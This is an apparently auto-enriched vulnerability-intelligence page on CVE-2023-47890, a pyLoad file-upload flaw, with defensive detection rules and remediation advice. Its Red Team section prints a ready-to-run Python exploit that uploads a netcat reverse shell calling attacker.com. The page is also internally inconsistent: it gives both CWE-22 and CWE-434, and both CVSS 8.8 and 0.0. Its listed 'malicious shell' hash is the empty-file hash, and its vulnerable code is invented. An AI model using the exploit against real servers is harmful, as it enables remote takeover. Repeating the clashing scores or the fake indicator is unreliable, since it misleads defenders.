☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-47890

CVE-2023-47890 Arbitrary File Upload in Pyload
📅 PUBLISHED: 2024-01-08 00:00 UTC 🔄 UPDATED: 2026-10-15 14:02 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.06%
👁️
1.06% probability
26.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-47890 identifies an Unrestricted File Upload vulnerability in pyLoad version 0.5.0. This flaw allows an attacker to upload arbitrary files to the server without proper validation, potentially leading to remote code execution (RCE), data exfiltration, or full server compromise. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). No official patch has been released, and the CVSS score is currently unassigned. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

pyLoad is a Python-based download manager. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using pyLoad as part of their infrastructure should treat this as a critical supply chain risk, as the application may be deployed via Docker, custom scripts, or package managers. No official patch is available, so users must rely on manual mitigations.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unassigned)
  • Vector: UNKNOWN
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): None (likely)
  • User Interaction (UI): None (likely)
  • Scope (S): Unchanged (likely)
  • Confidentiality (C): High (likely)
  • Integrity (I): High (likely)
  • Availability (A): High (likely)

Threat Level: Critical (based on CWE-434 and potential for RCE)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of pyLoad 0.5.0. The application fails to validate the type, content, or extension of uploaded files. An attacker can upload a malicious file (e.g., a Python script, PHP shell, or executable) to a directory that is accessible via the web server. If the uploaded file is executed (e.g., via direct access or inclusion), the attacker gains code execution on the server.

Root Cause: Lack of input validation and missing file type restrictions in the upload handler.

Attack Vector: HTTP POST request to the upload endpoint with a malicious file.

Impact: Remote Code Execution (RCE), data theft, server compromise, lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (pyLoad 0.5.0):

# Example of vulnerable upload handler (simplified)
def handle_upload(request):
    file = request.files['file']
    filename = file.filename
    # No validation of file type or content
    file.save('/uploads/' + filename)
    return "File uploaded successfully"

Patched Code (Hypothetical fix):

import os
import magic

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}
UPLOAD_FOLDER = '/uploads'

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def handle_upload(request):
    file = request.files['file']
    if file and allowed_file(file.filename):
        # Validate MIME type
        mime = magic.from_buffer(file.read(1024), mime=True)
        if mime not in ['image/jpeg', 'image/png', 'text/plain']:
            return "Invalid file type"
        filename = secure_filename(file.filename)
        file.save(os.path.join(UPLOAD_FOLDER, filename))
        return "File uploaded successfully"
    return "Invalid file"

Key Differences:

  • File extension whitelist
  • MIME type validation
  • Secure filename handling
  • Restricted upload directory

Exploitation & Lab Setup

Red Team

Prerequisites:

  • pyLoad 0.5.0 instance accessible over network
  • Upload endpoint exposed (e.g., /upload)

Exploit Steps:

  1. Identify the upload endpoint (e.g., via directory brute-forcing or source code review).
  2. Craft a malicious file (e.g., a Python reverse shell).
  3. Upload the file using a simple HTTP request.

Example Exploit (Python):

import requests

target_url = "http://target.com/upload"
payload = {
    'file': ('shell.py', 'import os; os.system("nc -e /bin/sh attacker.com 4444")', 'text/x-python')
}
response = requests.post(target_url, files=payload)
print(response.text)

Post-Exploitation:

  • Access the uploaded file via the web server (e.g., http://target.com/uploads/shell.py).
  • Execute the file (if the server executes Python scripts) or use it as a web shell.

Blue Team

Detection:

  • Monitor for unusual file uploads (e.g., .py, .php, .exe extensions).
  • Alert on uploads to directories that should not accept files.
  • Use WAF rules to block uploads of executable file types.

Hunting:

  • Search for files with dangerous extensions in upload directories.
  • Review web server logs for POST requests to upload endpoints with large payloads.

Lab Setup:

  • Deploy pyLoad 0.5.0 in a sandboxed environment (e.g., Docker).
  • Simulate the attack using the exploit above.
  • Monitor logs and file system changes.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example - replace with actual if known)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious shell)
  • Network Indicators:
    • POST requests to /upload or similar endpoints
    • Outbound connections from the server to attacker IPs (e.g., reverse shell)
  • File System Indicators:
    • Unexpected files in /uploads/ or similar directories
    • Files with extensions .py, .php, .jsp, .exe, .sh
  • Log Entries:
    • "File uploaded successfully" messages in application logs
    • HTTP 200 responses to upload requests with large payloads

Detection Engineering

YARA Rule

rule CVE_2023_47890_pyLoad_Upload {
    meta:
        description = "Detects malicious file uploads targeting pyLoad CVE-2023-47890"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-47890"
    strings:
        $upload_endpoint = "/upload" ascii wide nocase
        $file_extension = ".py" ascii wide nocase
        $file_extension2 = ".php" ascii wide nocase
        $file_extension3 = ".jsp" ascii wide nocase
        $file_extension4 = ".exe" ascii wide nocase
        $file_extension5 = ".sh" ascii wide nocase
        $payload = "import os" ascii wide nocase
        $payload2 = "os.system" ascii wide nocase
        $payload3 = "subprocess" ascii wide nocase
    condition:
        any of ($upload_endpoint) and any of ($file_extension*) and any of ($payload*)
}

Sigma Rule

title: Detects Unrestricted File Upload to pyLoad
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to pyLoad upload endpoints with dangerous file extensions
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47890
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs-uri-query|contains: '.py'
    condition: selection
falsepositives:
    - Legitimate uploads of Python scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-47890 - pyLoad Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".py"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the upload functionality if not required.
  2. Restrict access to the upload endpoint via firewall or web server configuration (e.g., IP whitelist).
  3. Implement a WAF rule to block uploads of executable file types (.py, .php, .exe, .sh, .jsp).

Long-Term Fixes:

  • Apply input validation: Whitelist allowed file extensions and MIME types.
  • Store uploaded files outside the web root to prevent direct execution.
  • Use a secure filename function to prevent path traversal.
  • Monitor for official patches from the pyLoad project.

Workaround:

  • Modify the source code to add file type validation (see patched code example above).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-47890/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.